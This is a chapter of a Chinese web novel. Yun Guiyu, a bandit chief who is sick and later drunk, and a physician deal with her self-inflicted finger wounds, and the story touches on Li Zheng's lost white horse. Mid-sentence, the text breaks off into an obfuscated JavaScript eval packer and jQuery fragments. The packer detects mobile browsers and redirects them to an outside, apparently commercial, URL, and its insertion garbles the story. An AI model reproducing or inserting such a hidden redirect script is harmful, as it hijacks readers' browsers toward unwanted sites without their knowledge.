云归玉下意识地攥紧了拳头,想要把手腕抽出来。
历铮神色一暗。
就这么厌恶他的触碰?这么想逃离他吗?
可他偏不如她的愿。
“自己上去,还是我抱你上去?”
云归玉瞧了瞧他身旁那棕红色的骏马,又看了看周边,都是历铮的人马,她可谓是孤立无援,八成是走不掉了。
“不劳大当家。”她神色淡淡,将手掩在衣袖下,隔着袖子握住缰绳,颇为识趣地上了马,还未坐稳,身后便有人贴了上来。
边城守卫们见二人共乘一骑,纷纷忍不住悄悄去看那和他们老大甚是亲密的女子。
这就是传说中,大当家抢回来的压寨夫人吗?
历铮恍若未见,只一手揽着云归玉的腰,一边俯身交代冯九关城事宜,云归玉没怎么听,只是垂眸看着身下战马棕红泛紫的鬃毛,出神地想着:他换坐骑了?在山寨多日了,怎么从未见过雪稚?当年它也不过六七岁,如今才五年过去,应是正当壮年,怎么就在历铮这儿失宠了呢?
不等她思索出个什么所以然,历铮已经一振缰绳,“按所属队列,边城的留下,山寨的,跟我回山,驾!”
马蹄飒沓,在山林中穿行,途径一路口时,几具横七竖八的尸体倒在地上,历铮垂眸一瞥,眼眸幽深地盯着怀中人白皙的后颈。
这些人都是突厥兵,不用想也知道,是方才那些被历铮放过的漏网之鱼。
云归玉心知肚明,这些人,应当是被褚昭拦下的。
一路上,两个人谁也没有开口,历铮没有问她蒙汗药的事,也没有问她为何
回到山寨,云归玉轻车熟路地进了院子,走到房门边上,才发现历铮并没有跟来,她回头一看。
历铮正扶着树干呕,一直沉默如影子似的阿延不知从哪里冒出来,正递过去一方帕子。
云归玉眉头一皱,快步走过去扶住他:“你怎么回事?”
难道是因为褚昭下的药?他虽然百毒不侵,可蒙汗药实则并不是毒。
“没事。”历铮接过阿延递来的巾帕拭了拭嘴,才用手抓住了云归玉的手,却触到一抹黏腻。
他面色一变,才发现她手背苍白至极,血管是极淡的青色,指头却泛着诡异的红。翻面一看,她手心血红,每一个手指中心竟都留有一个血洞!
“谁干的?”他神色阴寒,声音微颤。
云归玉张了张口,避开他的眼神:“没事。”
“是你自己。”历铮又惊又怒,眼中隐痛一闪而逝,沉声道:“阿延,去叫林无砚!”
阿延应是,身形一闪,便消失在原地。
很快,林无砚便提着药箱,步履匆匆地过来了,神色间倦意明显。
他一整天没闲过,先是忙着配制解药,现下还要去医治伤员,但一听说历铮来叫,还是第一时间过来了。
今日之事万分惊险,虽说历铮厉害非常,但万一也伤着了呢?此人不知哪来的讳疾忌医的毛病,又相当能忍痛忍病,往往都是小病靠挨,小伤靠忍,好了便算,没好,拖成大病大伤了,才屈尊降贵叫他一声。
他自诩医中圣手,大抵也就比那传说中的神医要略逊那么二三筹,若是寻常人,哪个不得把他把他捧得高高地?也就这厮,反要他这个亚神医巴巴地隔段时间就主动来替他诊脉,偏他还不情不愿。
今日这厮主动唤他,难道是受了重伤?虽然在边城的时候他看着并无大碍就是了。
他刚跨进历铮院门,便见历铮扯着那郡主殿下过来,语气寒凉道:“给她看看手。”
林无砚:“……”
合着病人又不是你啊。
林无砚也就麻木了一瞬,下一刻便眼神示意那位郡主殿下。
云归玉无奈,只得把双手摊开。
林无砚见那十个手指上,皆有血洞,肿胀不堪,讶然:“这……”
在某人逼视的目光下,她解释道:“是我自己弄的,现找的虫没毒,我的指尖血有毒,所以……”
“所以你就自己放血?”
那么多虫,得放多少血?
十指连心,那得多疼?
历铮眼眶竟是隐隐泛红。
云归玉心中一动,竟有点不敢看那眼睛。
那眼神,仿佛是真的在心疼她一样。
她又想到今天白日,历铮在千钧一发之际把枪扔过来,那时他身边还有敌人,却把唯一的武器扔过来救她。
她若是反应再慢点,突厥人那一刀可就砍中他了!
……他总不可能真的还对她有情吧?
林无砚没管他俩之间的暗潮涌动,见缝插针趁机抓住历铮的手,要顺便给他们家这位不省心的大当家也把个脉。
历铮毫不留情地推开了他的手,不耐烦道:“给她看。”
林无砚翻了个白眼,又仔细瞧了云归玉的伤,配了伤药。
看着历铮轻柔地给他的压寨夫人上完药,才呵呵冷笑地提着药箱走人。
是夜,历铮躺在云归玉身侧,久未入眠。
一闭上眼,白天见到的那匹白马便在脑中闪过,一会儿又是云归玉那双血淋淋的手,胃中翻江倒海,他倏然站起身,再一次趴到窗边干呕。
“阿延,你看着她。”历铮擦了嘴角,哑声吩咐,离开了小院。
不知过了多久,躺在床上的云归玉睁开了眼睛。
她也没能睡着。
自历铮离开之时起,她强迫自己入睡,却还是未能见效。
她起身走到窗边,见平日总稳稳站在树上的阿延此刻正来回踱步,淡声开口道:“既然担心你大当家,为何不追上去寻他?”
阿延摇摇头:“不行,大当家不在,我要替他看着你。”
云归玉:“行,那我去找他,你可以跟着一起,如此便也不算你擅离职守。”
二人最后在山顶凉亭中找到了历铮。
他趴在桌子上,双颊晕红,手边有一个空了的酒坛。
云归玉上前拍了拍他的肩:“历铮?”
历铮抬起头,双眼迷蒙,喃喃道:“清苑?”
那满目柔情和依恋,让云归玉一怔。
然而下一刻,他的眼神却又变得且怨且恨起来:“你为什么要背叛我?为什么要亲手杀了我?既然是骗我的,为什么……不愿意骗我一辈子呢?”
阿延一听这话便变了脸色,当即横剑于云归玉的脖颈:“你杀过大当家?”
反倒是方才还一脸怨恨的历铮不乐意了,立马拍飞了他的剑。
醉酒的他不甚清醒,手掌直接拍在了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087255|192298||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
剑刃上,鲜血飞溅。
云归玉见那一手的血,喝道:“历铮!”
她条件反射就要唤止血虫,却反应过来,她已很久没炼蛊了,手里并没有止血虫,于是撕下自己的衣服布料,给他包扎。
而后扯起历铮,面色不虞:“走,去找林无砚。”
“是谁?”方才还乖乖任她摆弄的历铮警惕地眯起了眼睛,语气危险,“你的三千面首之一?”
云归玉:“……”
云归玉不由分说,继续扯他,没扯动,终于没脾气道:“是大夫。”
听了这话,历铮才卸了劲,跟着云归玉走。
阿延沉默地跟在后面。
云归玉瞧他一眼,道:“他喝醉了,你别和他计较。”
阿延面色古怪:“我怎么可能和大当家计较。”
她方才这话,倒真有大当家夫人的意思了,显得他像个外人。
阿延引云归玉来到了林无砚的院子中,可怜堂堂山寨三当家,忙了一天,才要歇下,便又被人叫了起来。
一看,病人还是那个方才死活都不让他把脉的混球。
醉酒的大当家意外地好说话,坐在那里安安静静地任由林无砚上药包扎伤手,没伤的那只手搂住云归玉的腰,把脸埋在她的小腹。
云归玉站在旁边,忍耐住把他的头拍下去的冲动,告诉自己不要和醉酒的伤号计较。
等伤口包好之后,云归玉推了推历铮的脑袋,才发现,他已经睡着了。
云归玉看向林无砚,问道:“他是怎么回事?”
林无砚挑眉:“夫人是指?”
云归玉懒得纠正他的称呼,也没顾他略带揶揄的语气,道:“他昨日从关城回来之后,两次发呕,今日还借酒消愁,林大夫可知道原因?”
林无砚被她一句林大夫叫的一愣。
他堂堂三当家,如今在这位压寨夫人眼里,已经沦为一个小小大夫了。
也是,她对他的印象,不就是三天两头在他们面前报到的大夫么。
不过,看来这位郡主殿下,也不全然像历铮说的那样,对他无情嘛。
林无砚道:“据我诊脉,他昨日并没有吃错东西,干呕更可能是精神上受了刺激。在关城时有什么事情发生吗?”
云归玉下意识想要摇头。
昨日历铮在战场大杀四方,英勇无匹,顶多就是见血多了点,可他显然不是那种惧怕血腥的胆小书生。
那能是因为什么呢?
云归玉闭上眼睛仔细回想了,不放过记忆中的任何细节,终于发现一处不同寻常的地方。
历铮在与其中一个突厥人交手的时候,有一瞬间的恍惚,以至于失去了先机,被动防守了几招后才反杀。
那人和其他人唯一的区别是,那人骑着白马。
等等,雪稚……还有阿宁,这些天里,都没有在历铮身边出现过,甚至连名字都没被任何人提到过。
心中那被她摁下的不详猜测又冒出了头,云归玉终究还是问出了口:“你们大当家有没有一个叫阿宁的弟弟?还有……一匹叫雪稚的白马。”
林无砚沉默良久,最后叹息一声:“我确实知道些事,夫人若是想知道,在下如实相告便是,只是……若他问起,你可千万别说是我说的。”